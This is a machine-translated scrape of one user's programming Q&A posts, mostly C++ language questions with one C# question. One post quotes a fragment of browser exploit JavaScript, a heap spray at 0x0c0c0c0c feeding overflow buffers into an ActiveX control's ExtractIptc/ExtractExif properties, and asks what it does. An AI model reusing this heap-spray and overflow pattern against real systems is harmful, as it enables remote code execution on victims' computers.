小编M3t*_*0it的帖子

什么是qualified-id/name和unqualified-id/name?

我想知道是否有人可以解释那些条款,因为我在许多地方遇到它们.我知道一些关于它们的基本理论,但不确定我所知道的是对还是错.

那么任何人都可以解释这些条款吗?

c++

55
推荐指数
2
解决办法
4万
查看次数

xvalues,glvalues和prvalues的真实例子?

我想知道是否有人可以告诉或解释一些xvalues,glvalues和prvalues的真实例子?我读过类似的问题:

什么是右值,左值,x值,glvalues和prvalues?

但我不明白每个人的意思.任何人都可以解释在什么情况下这些值是重要的,何时应该使用它们?

c++ c++11

52
推荐指数
1
解决办法
4894
查看次数

模板模板参数

似乎理解模板模板param会杀了我:(,lemme解释我在脑海里制造的误解让我困惑:

template<class T>
class B {}; // A templated class
Run Code Online (Sandbox Code Playgroud)

这是另一个代码:

template<template<class X> class Z = B> // problem is in this line for me
class BB{}; 
Run Code Online (Sandbox Code Playgroud)

注意模板化类BB参数列表中的行,即:

template<class X> class Z = B
Run Code Online (Sandbox Code Playgroud)

现在我要问的是什么阻止c ++认为Z不是另一个模板化的Z类,即:

template<class X> class Z{
}
Run Code Online (Sandbox Code Playgroud)

而不是认为Z类是模板参数本身.

非常感谢,我真的很感激任何帮助从我的脑海中消除这种误解)

c++ templates

43
推荐指数
2
解决办法
3万
查看次数

Visual C++ vs Visual C#,这是最好的学习方法吗?

我已经完成了我的C++类和实践,之后我开始使用Ivor Horton的Visual C++学习Visual C++.问题是我无法理解本书的语言,并且严重地试图理解这些代码.我想学习用于Windows应用程序开发的Visual C++并在其中创造我的未来(也因为我已经了解C++).

我的一些朋友告诉我切换到C#,因为它有许多库函数来创建GUI等,并告诉我在Visual C++中编写Windows应用程序很困难.

现在在这些假期我将参加课程,你能帮助我,我应该坚持哪种语言,哪一种很容易?

从一开始我就想学习Visual C++,有时我觉得当我不理解参考书中的概念等时很难.

非常感谢任何帮助,非常感谢您花费宝贵的时间.

c# visual-c++

12
推荐指数
2
解决办法
6万
查看次数

ADL不查找静态成员函数吗?

这是来自依赖参数的查询的后续问题,只搜索名称空间或类吗?,其中@DavidRodríguez说"ADL将查看该类型的封闭命名空间,以及类型本身内部 ".我可能错了他想说的但是我试着这个例子:

struct foo{
    static void bar(foo* z){}    
};

int main(){
    foo* z;
    bar(z);
}
Run Code Online (Sandbox Code Playgroud)

它没有编译,产生错误"'bar'未在此范围内声明".是不是ADL不考虑静态成员函数?我的意思是在示例中关联类是foo不是ADL看起来在类中?.任何人都可以在这里简化规则吗?

c++ argument-dependent-lookup

7
推荐指数
1
解决办法
447
查看次数

我不明白这个守则

我不明白这段代码:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  
Run Code Online (Sandbox Code Playgroud)

在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给它的内容:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Run Code Online (Sandbox Code Playgroud)

我也无法弄清楚这个功能:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }
Run Code Online (Sandbox Code Playgroud)

以下代码是什么意思?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

这是一个什么样的变量?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf; …
Run Code Online (Sandbox Code Playgroud)

javascript security exploit

6
推荐指数
1
解决办法
1022
查看次数

如何从可变参数类型包中获取特定类型?

我希望做这样的事情:

template<typename ...T> struct foo
{
  bar<0 /*to index through types in pack*/ ,T...>::type var1;
  bar<1 /*to index through types in pack*/ ,T...>::type var2;
  ...
}
Run Code Online (Sandbox Code Playgroud)

但是我该怎么定义bar?这样做没有想到递归技术.

我想要一种通用技术,以便我可以从类型包中键入任何特定类型,而不仅仅是示例中显示的两种类型.

c++ variadic-templates

6
推荐指数
1
解决办法
456
查看次数

static_cast如何将int转换为char而不是reinterpret_cast?

我不确定之前是否曾被问过,但一定是我相信的.考虑问题开始的简单路线:

int a ;
char b = reinterpret_cast<char> (a);
Run Code Online (Sandbox Code Playgroud)

我理解reinterpret_cast将类型x的位模式解释为类型y,因为大小不匹配它不应该工作,实际上它不会.

现在考虑另一个代码:

int a ;
char b = static_cast<char> (a);
Run Code Online (Sandbox Code Playgroud)

这有效!.现在我的问题是它是如何工作的?我的意思是编译器会切掉这些位吗?.我确定sizeof(char) < sizeof(int).如果那样,reinterpret_cast还应该采用相同的技术吗?

c++ type-conversion

6
推荐指数
2
解决办法
1万
查看次数

具有不同元素的链表,可能吗?

海亚,

让我解释一下我的观点。

template<typename T>
class node{
  T data;
  template<typename X>
  node<X>* right; // can point to any node<typename> i know its wrong
}
Run Code Online (Sandbox Code Playgroud)

这样我就可以做类似的事情:

node<int> a;
a.data = 23;
node<float> b;
b.data =43.6;
a.right= b;
std::cout<< a.data <<a.right->data;
Run Code Online (Sandbox Code Playgroud)

另一个例子:

template <class Type>
struct vnode {
  Type data;
  vnode<Type> * vnodenext;
  // vrow what_to_put_here // **i don't want to use void ptrs neither want to cast back manually**
}
Run Code Online (Sandbox Code Playgroud)

在 main 函数中,如果我定义了vnode类型的结构stringvnode类型的另一个结构,那么我应该在结构定义中int替换什么指针 def …

c++

5
推荐指数
1
解决办法
2852
查看次数

比较器&lt;T&gt;.默认属性

这个问题来自这个小奇迹:Comparer<T>.Default 。我想知道作者在一行中写了什么:

如果要比较的类型已经实现IComparable<T>或者类型是System.Nullable<T>T 实现的位置IComparable,则System.Collections.Generic 命名空间中有一个名为 的类,它公开一个名为 Default 的属性,该属性将创建一个单例,表示项目的默认比较器那种类型。Comparer<T>

例如:

我有一堂课:

class Foo : IComparable<Foo> { ... }
public class FooComparer : IComparer<Foo> { ... }
Run Code Online (Sandbox Code Playgroud)

比较器类实现为public abstract class Comparer<T> : IComparer, IComparer<T>. 我的问题是 Default 属性总体上是如何工作的,它有什么作用以及它是如何工作的?

谢谢

c#

5
推荐指数
1
解决办法
5146
查看次数

混淆在rdbuf()

这是我的简单代码:

#include <iostream>
int main()
{
    int foo;
    std::cin.rdbuf(std::cout.rdbuf());
    std::cin>>foo; // what'll happen at this line? whatever I'll input will go to cout's buffer then to foo , right?
}
Run Code Online (Sandbox Code Playgroud)

我以为上面的代码会将cin缓冲区设置为cout缓冲区,所以当我输入一些数字时它也会被输出.我想我对自己的程序感到困惑.谁能告诉我程序中发生了什么?

另外,如果我在结尾添加一行:std::cout<<foo;,那么它会打印随机数,这意味着foo永远不会得到输入.那么整体上发生了什么?

c++

4
推荐指数
1
解决办法
696
查看次数

模板化类的多重继承

我正在尝试做一些实际的工作,并且正在考虑做这样的事情,但找不到任何解决方案,如何运行这个程序?(注意:这只是一个理论或者说与现实世界关系无关的抽象实践)

template<typename T> class animal
{
public:
    T data;
    animal():data(T()) {}
};

template<typename Foo> class amph
{
    Foo fooo;
public:
    amph():fooo(Foo()) {}
};

template<typename T>
template<typename Foo>
class lion : public animal<T> ,public amph<Foo> // error: too many template-parameter-lists
{
    std::string name;
public:
    lion():name(std::string()) {}
};

int main(int argc, const char *argv[])
{
    animal<std::string> notGoodAnimal;
     lion<int><int> mylion;// this line is probelm
}
Run Code Online (Sandbox Code Playgroud)

那么我们怎样才能运行这个?,谢谢0_o

c++

2
推荐指数
1
解决办法
55
查看次数